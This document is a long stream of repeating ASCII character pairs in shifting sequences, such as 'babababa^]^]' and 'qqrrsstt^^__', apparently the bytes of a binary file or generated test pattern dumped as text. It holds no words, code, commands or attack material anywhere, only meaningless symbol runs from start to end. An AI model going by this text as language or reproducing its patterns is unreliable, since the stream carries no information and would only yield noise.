babababa^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSPOPOPOPONMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDCBABABABA>=>=>=>=:9:9:9:987878787434343430/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"!    - - - - babababa^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSPOPOPOPONMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDCBABABABA>=>=>=>=:9:9:9:965656565434343430/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"!    - - - - babababa^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSPOPOPOPONMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDCBABABABA>=>=>=>=:9:9:9:965656565434343430/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"!    - - - - baba`_`_^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSPOPOPOPONMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDCBABABABA>=>=>=>=:9:9:9:965656565434343430/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"!    - - - - `_`_`_`_^]^]^]^]ZYZYZYZYXWXWXWXWTSTSTSTSPOPOPOPONMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDCBABABABA>=>=>=>=:9:9:9:965656565434343430/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"!    - - - - `_`_`_`_^]^]^]^]ZYZYZYZYXWXWXWXWSSSSSTSTPOPOPOPONMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDCBABABABA>=>=>=>=:9:9:9:965656565434343430/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"!    - - - - `_`_`_`_^]^]^]^]ZYZYZYZYXWXWXWXWSTSTSTSTPOPOPOPONMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDCBA@?@?@?>=>=>=>=:9:9:9:965656565434343430/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"!    - - - - `_`_`_`_^]^]^]^]ZYZYZYZYXWXWXWXWSTSTSTSTPOPOPOPONMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:965656565434343430/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"!    - - - - `_`_`_`_^]^]^]^]ZYZYZYZYXWXWXWXWSTSTSTSTPOPOPOPONMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:965656565434343430/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#"!"!"!"!    - - - - `_`_`_`_^]^]^]^]ZYZYZYZYXWXWXWXWSTSTSTSTPOPOPOPONMNMNMNMJIJIJIJIHGHGHGHGDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:965656565434343430/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#        - - - - `_`_`_`_^]^]^]^]ZYZYZYZYXWXWXWXWSTSTSTSTPOPOPOPONMNMNMNMJIJIJIJIHGFEFEFEDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:965656565434343430/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#        - - - - `_`_`_`_^]^]^]^]ZYZYZYZYVUVUVUVUSTSSSSSSPOPOPOPONMNMNMNMJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:965656565434343430/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#        - - - - `_`_`_`_^]^]^]^]ZYZYZYZYVUVUVUVUTSTSTSTSPOPOPOPONMNMNMNMJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:965656565434343430/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#        - - - - `_`_`_`_^]^]^]^]ZYZYZYZYVUVUVUVUTSTSTSTSPOPOPOPONMNMNMNMJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:965656565434343430/0/0/0/.-.-.-.-*)*)*)*)&%&%&%&%$#$#$#$#        - - - - `_`_`_`_^]^]^]^]ZYZYZYZYVUVUVUVUTSTSTSTSPOPOPOPONMLKLKLKJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:965656565434343430/0/0/0/.-.-.-.-*)*)*)*)&%&%&%&%$#$#$#$#        - - - - `_`_`_`_^]^]^]^]ZYZYZYZYVUVUVUVUTSTSTSTSPOPOPOPOLKLKLKLKJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:965656565434343430/0/0/0/.-.-.-.-*)*)*)*)&%&%&%&%$#$#$#$#        - - - - `_`_`_`_^]^]^]^]ZYZYZYZYVUVUVUVUTSTSTSSSPOPOPOPOLKLKLKLKJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:965656565434343430/0/0/0/.-.-.-.-*)*)*)*)&%&%&%&%$#$#$#$#        - - - - `_`_`_`_^]^]^]^]ZYZYZYZYVUVUVUVUSSTSTSTSPOPOPOPOLKLKLKLKJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:965656565434343430/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#        - - - - `_`_`_`_^]^]^]^]ZYZYZYZYVUVUVUVUTSRQRQRQPOPOPOPOLKLKLKLKJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:965656565434343430/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#        - - - - `_`_`_`_^]^]^]^]ZYZYZYZYVUVUVUVURQRQRQRQPOPOPOPOLKLKLKLKJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:965656565434343430/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#       - - - - `_`_`_`_^]^]^]^]ZYZYZYZYVUVUVUVURQRQRQRQPOPOPOPOLKLKLKLKJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:965656565434343430/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#     - - - - `_`_`_`_^]^]^]^]ZYZYZYZYVUVUVUVURQRQRQRQPOPOPOPOLKLKLKLKJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:965656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#     - - - - `_`_`_`_^]^]^]^]ZYZYZYZYVUVUVUVURQRQRQRQPOPOPOPOLKLKLKLKJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:965656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#     - - - - `_`_`_`_^]^]\[\[ZYZYZYZYVUVUVUVURQRQRQRQPOPOPOPOLKLKLKLKJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:965656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#     - - - - `_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVURQRQRQRQPOPOPOPOLKLKLKLKJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:965656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#     - - - - `_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVURQRQRQRQPOPOPOPOLKLKLKLKJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?>=>=>=>=:9:9:9:965656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#     - - - - `_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVURQRQRQRQPOPOPOPOLKLKLKLKJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?>=<;<;<;:9:9:9:965656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#     - - - - `_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVURQRQRQRQPOPOPOPOLKLKLKLKJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?<;<;<;<;:9:9:9:965656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#     - - - - `_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVURQRQRQRQPOPOPOPOLKLKLKLKJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?<;<;<;<;:9:9:9:965656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#     - - - - `_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVURQRQRQRQPOPOPOPOLKLKLKLKJIJIJIJIFEFEFEFEDCDCDCDC@?@?@?@?<;<;<;<;:987878765656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#     - - - - `_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVURQRQRQRQPOPOPOPOLKLKLKLKJIJIJIJIFEFEFEFEDCBABABA@?@?@?@?<;<;<;<;8777777865656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#     - - - - `_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVURQRQRQRQPOPOPOPOLKLKLKLKJIJIJIJIFEFEFEFEBABABABA@?@?@?@?<;<;<;<;7878787865656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#     - - - - `_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVURQRQRQRQPOPOPOPOLKLKLKLKJIJIJIJIFEFEFEFEBABABABA@?@?@?@?<;<;<;<;7878787865656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#     - - - - `_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVURQRQRQRQPOPOPOPOLKLKLKLKJIJIJIJIFEFEFEFEBABABABA@?@?@?@?<;<;<;<;7878787865656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%"!"!"!"!     - - - - `_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVURQRQRQRQPOPOPOPOLKLKLKLKJIHGHGHGFEFEFEFEBABABABA@?@?@?@?<;<;<;<;7878787865656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%"!"!"!"!     - - - - `_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVURQRQRQRQPOPOPOPOLKLKLKLKHGHGHGHGFEFEFEFEBABABABA@?@?@?@?<;<;<;<;7878787865656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%"!"!"!"!     - - - - `_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVURQRQRQRQPOPOPOPOLKLKLKLKHGHGHGHGFEFEFEFEBABABABA@?@?@?@?<;<;<;<;7878777765656565212121210/0/0/0/,+,+,+,+*)*)*)*)&%&%&%&%"!"!"!"!     - - - - `_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVURQRQRQRQPOPOPOPOLKLKLKLKHGHGHGHGFEFEFEFEBABABABA@?@?@?@?<;<;<;<;7787878765656565212121210/0/0/0/,+,+,+,+('('('('&%&%&%&%"!"!"!"!     - - - - `_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVURQRQRQRQPONMNMNMLKLKLKLKHGHGHGHGFEFEFEFEBABABABA@?@?@?@?<;<;<;<;8787878765656565212121210/0/0/0/,+,+,+,+('('('('&%&%&%&%"!"!"!"!     - - - - `_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVURQRQRQRQNMNMNMNMLKLKLKLKHGHGHGHGFEFEFEFEBABABABA@?@?@?@?<;<;<;<;8787878765656565212121210/0/0/0/,+,+,+,+('('('('&%&%&%&%"!"!"!"!     - - - `_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVURQRQRQRQNMNMNMNMLKLKLKLKHGHGHGHGFEFEFEFEBABABABA@?@?@?@?<;<;<;<;8787878765656565212121210/0/0/0/,+,+,+,+('('('('&%&%&%&%"!"!"!"!     `_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVURQRQRQRQNMNMNMNMLKLKLKLKHGHGHGHGFEFEFEFEBABABABA@?@?@?@?<;<;<;<;878787876565656521212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!     `_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVURQRQRQRQNMNMNMNMLKLKLKLKHGHGHGHGFEFEFEFEBABABABA@?@?@?@?<;<;<;<;878787876565656521212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!     `_`_`_`_\[\[\[\[ZYZYXWXWVUVUVUVURQRQRQRQNMNMNMNMLKLKLKLKHGHGHGHGFEFEFEFEBABABABA@?@?@?@?<;<;<;<;777778786565656521212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!     `_`_`_`_\[\[\[\[XWXWXWXWVUVUVUVURQRQRQRQNMNMNMNMLKLKLKLKHGHGHGHGFEFEFEFEBABABABA@?@?@?@?<;<;<;<;787878786565656521212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!      `_`_`_`_\[\[\[\[XWXWXWXWVUVUVUVURQRQRQRQNMNMNMNMLKLKLKLKHGHGHGHGFEFEFEFEBABABABA@?@?@?@?<;<;<;<;787878784343434321212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!    `_`_`_`_\[\[\[\[XWXWXWXWVUVUTSTSRQRQRQRQNMNMNMNMLKLKLKLKHGHGHGHGFEFEFEFEBABABABA@?@?@?@?<;<;<;<;787878784343434321212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!    `_`_^]^]\[\[\[\[XWXWXWXWTSTSSSSSRQRQRQRQNMNMNMNMLKLKLKLKHGHGHGHGFEFEFEFEBABABABA@?@?@?@?<;<;<;<;787878784343434321212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!    ^]^]^]^]\[\[\[\[XWXWXWXWSTSTSTSTRQRQRQRQNMNMNMNMLKLKLKLKHGHGHGHGFEFEFEFEBABABABA@?@?@?@?<;<;<;<;787878784343434321212121.-.-.-.-,+,+,+,+('('('('&%&%&%&%"!"!"!"!    qqrrsstt^^__``aa55667788llkkjjiiUUVVWWXXLLKKJJIIzz{{||}}**++,,--''&&%%$$wwvvuuttJJKKLLMMCCBBAA@@\[[ZZYYXooppqqrr !!""uuvvwwxxbbccddee99::;;<<hhggffeeYYZZ[[\\ - - HHGGFFEE~~..//0011##""!! ssrrqqppNNOOPPQQ??>>==77WVUTSSRRssttuuvv##$$%%&&yyzz{{||ffgghhii==>>??@@ddccbbaa]]^^__`` DDCCBBAA22334455oonnmmllRRSSTTUU66554433QQPPOONNwwxxyyzz''(())**}}~~jjkkllmmAABBCCDD ``__^^]]aabbccdd@@??>>==66778899kkjjiihhVVWWXXYY 221100//MMLLKKJJ{{||}}~~++,,--..nnoouuvvEEFFGGHH - - \\[[ZZYYeeffgghh<<;;::99::;;<<==ggffeeddZZ[[\\]] - - ..--,,++IIHHGGFF//001122wwxxyyzzIIJJKKLLXXWWVVUUiijjkkll88776655~~}}||{{>>??@@AAccbbaa``^^__``aa**))((''EEDDCCBB33445566{{||}}~~MMNNOOPPTTSSRRQQmmnnoopp 44332211zzyyxxwwBBCCDDEE __^^]]\\bbccddee&&%%$$##AA@@??>>778899::QQRRSSTTPPOONNMMqqrrsstt!!""##$$00//..--vvuuoonnFFGGHHII - - [[ZZYYXXffgghhii""!!==<;:987;;<<==>>UUVVWWXXLLKKJJIIuuvvwwxx%%&&''((,,++**))mmllkkjjJJKKLLMMWWVVUUTTjjkkllmm76655443??@@AABBYYZZ[[\\ - - HHGGFFEEyyzz{{||))**++,,((''&&%%iihhggff~~}}||NNOOPPQQSSRRQQPPnnooppqq !!3221100/~~}}||{{CCDDEEFF]]^^__`` DDCCBBAA}}~~--..//00$$##""!!eeddccbb{{zzyyxxRRSSTTUUOONNMMLLrrssttuu""##$$%%/..--,,+zzyyxxwwGGHHIIJJaabbccdd@@??>>==11223344 aa``__^^wwvvuutsVVWWXXYY KKJJIIHHvvwwxxyy&&''(()) - -+**))(('vvuuttssKKLLMMNN~~}}eeffgghh<<;;::9955667788]]\\[[ZZrqpoonnmZZ[[\\]] - - GGFFEEDDzz{{||}}**++,,-- '&&%%$$#rrqqppooOOPPQQRR||{{zzyyiijjkkll8877665599::;;<<YYSSRRQQmllkkjji^^__``aaCCBBAA@@~~..//0011#""!! nnmmllkkSSTTUUVVxxwwvvuummnnoopp 44332211==>>??@@PPOONNMMihhggffebbccddee??>>==<<22334455 - - jjiihhggWWXXYYZZttssrrqqqqrrsstt!!""##$$00//..--~~}}AABBCCDD LLKKJJIIeddccbbaffgghhii;;::998866778899 ffeeddcc[[\\]]^^ppoonnmmuuvvwwxx%%&&''((,,++**))||{{zzyyEEFFGGHH - - HHGGFFEEa``__^^]jjkkllmm77665544::;;<<==bbaa``____``aabbllkkjjiiyyzz{{||))**++,,((''&&%%xxwwvvuuIIJJKKLLDDCCBBAA]\\[[ZZYnnooppqq !!33221100>>??@@AA ^^]]\\[[ccddeeffhhggffee}}~~--..//00$$##""!!ttssrrqqMMNNOOPP@@??>>==YXWVUTSSrrssttuu""##$$%%//..--,,~~}}||BBCCDDEE - - ZZYYXXWWgghhiijjddccbbaa11223344 ppoonnmmQQRRSSTT77665544RRQQPPOOvvwwxxyy&&''(())++**))(({{zzyyxxFFGGHHII!!""##$$VVUUTTSSkkllmmnn``__^^]]55667788llkkjjiiUUVVWWXX33221100NNMMLLKKzz{{||}}**++,,--''&&%%$$wwvvuuttJJKKLLMM%%&&''((RRQQPPOOooppqqrr\\[[ZZYY99::;;<<hhggffeeYYZZ[[\\ - - //..--,,JJIIHHGG~~..//0011##""!! ssrrqqppNNOOPPQQ))**++,,NNMMLLKKssttuuvvXXWWVVUU==>>??@@ddccbbaa]]^^__`` ++**))((FFEEDDCC22334455oonnmmllRRSSTTUU--..//00 - -JJIIHHGGwwxxyyzzTTSSRRQQAABBCCDD ``__^^]]aabbccdd''&&%%$$BBAA@@??66778899kkjjiihhVVWWXXYY11223344 FFEEDDCC{{||}}~~PPOONNMMEEFFGGHH - - \\[[ZZYYeeffgghh##""!!>>==<;:9::;;<<==ggffeeddZZ[[\\]]556677==BBAA@@??LLKKJJIIIIJJKKLLXXWWVVUUiijjkkll87766554>>??@@AAccbbaa``^^__``aa>>??@@AA>>==<<;;HHGGFFEE~~}}||{{MMNNOOPPTTSSRRQQmmnnoopp 43322110~~}}||BBCCDDEE __^^]]\\bbccddeeBBCCDDEE::998877DDCCBBAAzzyyxxwwQQRRSSTTPPOONNMMqqrrsstt!!""##$$0//..--,{{zzyyxxFFGGHHII - - [[ZZYYXXffgghhiiFFGGHHII66554433@@??>>==vvuuoonn~~}}||UUVVWWXXLLKKJJIIuuvvwwxx%%&&''(( ,++**))(wwvvuuttJJKKLLMMWWVVUUTTjjkkllmmJJKKLLMM !!""221100//<<;;::99mmllkkjj{{zzyyxxYYZZ[[\\ - - HHGGFFEEyyzz{{||))**++,, - - (''&&%%$ssrrqqppNNOOPPQQSSRRQQPPnnooppqqNNOOPPQQ##$$%%&&..--,,++~~}}||{{88776655iihhggffwwvvuuts]]^^__`` DDCCBBAA}}~~--..//00$##""!! oonnmmllRRSSTTUUOONNMMLLrrssttuuRRSSYYZZ''(())****))((''zzyyxxww44332211eeddccbbrqpoonnmaabbccdd@@??>>==11223344 - -kkjjiihhVVWWXXYY KKJJIIHHvvwwxxyy[[\\]]^^++,,--..&&%%$$##vvuuttss00//..--aa``__^^mllkkjjieeffgghh<<;;::9955667788 ggffeeddZZ[[\\]] - - GGFFEEDDzz{{||}}__``aabb//001122""!! rrqqppoo,,++**))]]\\[[ZZihhggffeiijjkkll8877665599::;;<<ccbbaa``^^__``aaCCBBAA@@~~ccddeeff33445566nnmmllkk((''&&%%YYSSRRQQeddccbbammnnoopp 44332211==>>??@@__^^]]\\bbccddee??>>==<>ffeeddcc..--,,++ LLKKJJII]\\[[ZZYuuvvwwxx%%&&''((,,++**))||{{zzyyEEFFGGHH!!""## WWVVUUTTjjkkllmm77665544oouuvvww??@@AABBbbaa``__**))((''HHGGFFEEYXWVUTSSyyzz{{||))**++,,((''&&%%xxwwvvuuIIJJKKLL$$%%&&''SSRRQQPPnnooppqq !!33221100xxyyzz{{CCDDEEFF ^^]]\\[[&&%%$$##DDCCBBAARRQQPPOO}}~~--..//00$$##""!!ttssrrqqMMNNOOPP(())**++OONNMMLLrrssttuu""##$$%%//..--,,~~}}||||}}~~GGHHIIJJ - - ZZYYXXWW""!! @@??>>==NNMMLLKK11223344 ppoonnmmQQRRSSTT,,--..// KKJJIIHHvvwwxxyy&&''(())++**))(({{zzyyxxKKLLMMNNVVUUTTSS 77665544JJIIHHGG55667788llkkjjiiUUVVWWXX00112233 - - GGFFEEDDzz{{||}}**++,,--''&&%%$$wwvvuuttOOPPQQRRRRQQPPOO - - 33221100FFEEDDCC99::;;<<hhggffeeYYZZ[[\\44556677CCBBAA@@~~..//0011##""!! ssrrqqppSSTTUUVVNNMMLLKK - - //..--,,BBAA@@??==>>??@@ddccbbaa]]^^__``==>>??@@??>>==<<22334455oonnmmllWWXXYYZZ - -JJIIHHGG ++**))((>>==<;:9~~}}AABBCCDD ``__^^]]aabbccddAABBCCDD;;::998866778899kkjjiihh[[\\]]^^ FFEEDDCC ''&&%%$$87766554||{{zzyyEEFFGGHH - - \\[[ZZYYeeffgghhEEFFGGHH77665544::;;<<==ggffeedd__``aabbBBAA@@?? - - ##""!!43322110xxwwvvuuIIJJKKLLXXWWVVUUiijjkkllIIJJKKLL !!33221100>>??@@AAccbbaa``ccddeeff>>==<<;;0//..--,ttssrrqqMMNNOOPPTTSSRRQQmmnnooppMMNNOOPP""##$$%%//..--,,~~}}||BBCCDDEE __^^]]\\gghhiijj::998877 ,++**))(ppoonnmmQQRRSSTTPPOONNMMqqrrssttQQRRSSYY&&''(())++**))(({{zzyyxxFFGGHHII - - [[ZZYYXXkkllmmnn66554433!!""##$$(''&&%%$llkkjjiiUUVVWWXXLLKKJJIIuuvvwwxxZZ[[\\]]**++,,--''&&%%$$wwvvuuttJJKKLLMMWWVVUUTTooppqqrr !!""221100// - -%%&&''(( $##""!! hhggffeeYYZZ[[\\ - - HHGGFFEEyyzz{{||^^__``aa..//0011##""!! ssrrqqppNNOOPPQQSSRRQQPPssttuuvv##$$%%&&..--,,++~~}}||{{ ))**++,, - - - -ddccbbaa]]^^__`` DDCCBBAA}}~~bbccddee22334455oonnmmllRRSSTTUUOONNMMLLwwxxyyzz''(())****))((''zzyyxxww--..//00 ``__^^]]aabbccdd@@??>>==ffgghhii66778899kkjjiihhVVWWXXYY KKJJIIHH{{||}}~~++,,--..&&%%$$##vvuuttss11223344\\[[ZZYYeeffgghh<<;;::99jjkkllmm::;;<<==ggffeeddZZ[[\\]] - - GGFFEEDD//001122""!! rrqqppoo55667788XXWWVVUUiijjkkll88776655nnoouuvv>>??@@AAccbbaa``^^__``aaCCBBAA@@33445566nnmmllkk99::;;<< - -TTSSRRQQmmnnoopp 44332211wwxxyyzzBBCCDDEE __^^]]\\bbccddee??>>==<<778899::jjiihhgg !!""==>>??@@!!""## PPOONNMMqqrrsstt!!""##$$00//..--~~}}{{||}}~~FFGGHHII - - [[ZZYYXXffgghhii;;::9988~~;;<<==>>ffeeddcc##$$%%&&AABBCCDD$$%%&&''LLKKJJIIuuvvwwxx%%&&''((,,++**))||{{zzyyJJKKLLMMWWVVUUTTjjkkllmm77665544}}||{{zz??@@AABBbbaa``__''(())**EEFFGGHH(())**++ - - HHGGFFEEyyzz{{||))**++,,((''&&%%xxwwvvuuNNOOPPQQSSRRQQPPnnooppqq !!33221100yyxxwwvvCCDDEEFF ^^]]\\[[++,,--..IIJJKKLL,,--..// DDCCBBAA}}~~--..//00$$##""!!ttssrrqqRRSSTTUUOONNMMLLrrssttuu""##$$%%//..--,,uuoonnmmGGHHIIJJ - - ZZYYXXWW//001122MMNNOOPP00112233@@??>>==11223344 ppoonnmmVVWWXXYY KKJJIIHHvvwwxxyy&&''(())++**))((llkkjjiiKKLLMMNNVVUUTTSS33445566QQRRSSTT44556677<<;;::9955667788llkkjjiiZZ[[\\]] - - GGFFEEDDzz{{||}}**++,,--''&&%%$$hhggffee~~}}||{{OOPPQQRRRRQQPPOO778899::UUVVWWXX==>>??@@8877665599::;;<<hhggffee^^__``aaCCBBAA@@~~..//0011##""!! ddccbbaazzyyxxwwSSTTUUVVNNMMLLKK;;<<==>>YYZZ[[\\AABBCCDD 44332211==>>??@@ddccbbaabbccddee??>>==<<22334455``__^^]]vvuutsrqWWXXYYZZ - -JJIIHHGG??@@AABB]]^^__``EEFFGGHH!!""##$$00//..--~~}}AABBCCDD ``__^^]]ffgghhii;;::998866778899\\[[ZZYYpoonnmml[[\\]]^^ FFEEDDCCCCDDEEFFaabbccddIIJJKKLL%%&&''((,,++**))||{{zzyyEEFFGGHH - - \\[[ZZYYjjkkllmm77665544::;;<<==SSRRQQPPlkkjjiih__``aabbBBAA@@??GGHHIIJJeeffgghhMMNNOOPP))**++,,((''&&%%xxwwvvuuIIJJKKLLXXWWVVUUnnooppqq !!33221100>>??@@AAOONNMMLLhggffeedccddeeff>>==<<;;KKLLMMNNiijjkkllQQRRSSYY--..//00$$##""!!ttssrrqqMMNNOOPPTTSSRRQQrrssttuu""##$$%%//..--,,~~}}||BBCCDDEE KKJJIIHHdccbbaa`gghhiijj::998877OOPPQQRRmmnnooppZZ[[\\]]11223344 ppoonnmmQQRRSSTTPPOONNMMvvwwxxyy&&''(())++**))(({{zzyyxxFFGGHHII - - GGFFEEDD`__^^]]\kkllmmnn66554433SSTTUUVVWWXXYYZZ - -JJIIHHGG||}}~~,,--..//%%$$##""uuttssrrLLMMNNOOAA@@??>>ZYYXWVUTqqrrsstt!!""##$$00//..--~~}}AABBCCDD - -[[ZZYYXXffgghhii;;::9988~~}}||{{{{zzyyxx[[\\]]^^ FFEEDDCC00112233!! qqppoonnPPQQRRSS==776655SSRRQQPPuuvvwwxx%%&&''((,,++**))||{{zzyyEEFFGGHH!!""## WWVVUUTTjjkkllmm77665544zzyyxxwwwwvvuutt__``aabbBBAA@@??44556677mmllkkjjTTUUVVWW44332211OONNMMLLyyzz{{||))**++,,((''&&%%xxwwvvuuIIJJKKLL$$%%&&''SSRRQQPPnnooppqq !!33221100vvuuoonnssrrqqppccddeeff>>==<<;;8899::;;iihhggffXXYYZZ[[ - - 00//..--KKJJIIHH}}~~--..//00$$##""!!ttssrrqqMMNNOOPP(())**++OONNMMLLrrssttuu""##$$%%//..--,,mmllkkjjoonnmmllgghhiijj::998877~~}}<<==>>??eeddccbb\\]]^^__ ,,++**))GGFFEEDD11223344 ppoonnmmQQRRSSTT,,--..// KKJJIIHHvvwwxxyy&&''(())++**))((iihhggffkkjjiihhkkllmmnn66554433||{{zzyy@@AABBCCaa``__^^``aabbcc((''&&%%CCBBAA@@55667788llkkjjiiUUVVWWXX00112233 - - GGFFEEDDzz{{||}}**++,,--''&&%%$$eeddccbbggffeeddooppqqrr !!""221100//xxwwvvuuDDEEFFGG - -]]\\[[ZZddeeffgg$$##""!!??>>==<;99::;;<<hhggffeeYYZZ[[\\44556677CCBBAA@@~~..//0011##""!! aa``__^^ccbbaa``ssttuuvv##$$%%&&..--,,++oonnmmllHHIIJJKK YYXXWWVVhhiijjkk:9877665==>>??@@ddccbbaa]]^^__``==>>??@@??>>==<<22334455]]\\[[ZZ__^^]]\\wwxxyyzz''(())****))((''kkjjiihh~~LLMMNNOOUUTTSSRRllmmnnoo54433221~~}}AABBCCDD ``__^^]]aabbccddAABBCCDD;;::998866778899YYSSRRQQ[[ZZYYXX{{||}}~~++,,--..&&%%$$##ggffeedd}}||{{zzPPQQRRSSQQPPOONNppqqrrss !!""##100//..-||{{zzyyEEFFGGHH - - \\[[ZZYYeeffgghhEEFFGGHH77665544::;;<<==PPOONNMMWWVVUUTT//001122""!! ccbbaa``yyxxwwvvTTUUVVWWMMLLKKJJttuuvvww$$%%&&'' -,,++**)xxwwvvuuIIJJKKLLXXWWVVUUiijjkkllIIJJKKLL !!33221100>>??@@AALLKKJJIISSRRQQPP33445566__^^]]\\uutsrqpoXXYYZZ[[ - - IIHHGGFFxxyyzz{{(())**++ - - )((''&&%ttssrrqqMMNNOOPPTTSSRRQQmmnnooppMMNNOOPP""##$$%%//..--,,~~}}||BBCCDDEE HHGGFFEEOONNMMLL778899::[[ZZYYSSonnmmllk\\]]^^__ EEDDCCBB||}}~~,,--..//%$$##""!ppoonnmmQQRRSSTTPPOONNMMqqrrssttQQRRSSYY&&''(())++**))(({{zzyyxxFFGGHHII - - DDCCBBAAKKJJIIHH;;<<==>>RRQQPPOOkjjiihhg``aabbccAA@@??>>00112233 ! llkkjjiiUUVVWWXXLLKKJJIIuuvvwwxxZZ[[\\]]**++,,--''&&%%$$wwvvuuttJJKKLLMM@@??>>==GGFFEEDD??@@AABBNNMMLLKKgffeeddcddeeffgg==<<;;::44556677 - - hhggffeeYYZZ[[\\ - - HHGGFFEEyyzz{{||^^__``aa..//0011##""!! ssrrqqppNNOOPPQQ77665544CCBBAA@@CCDDEEFF JJIIHHGGcbbaa``_hhiijjkk998877668899::;;ddccbbaa]]^^__`` DDCCBBAA}}~~bbccddee22334455oonnmmllRRSSTTUU33221100??>>==<>??``__^^]]aabbccdd@@??>>==ffgghhii66778899kkjjiihhVVWWXXYY 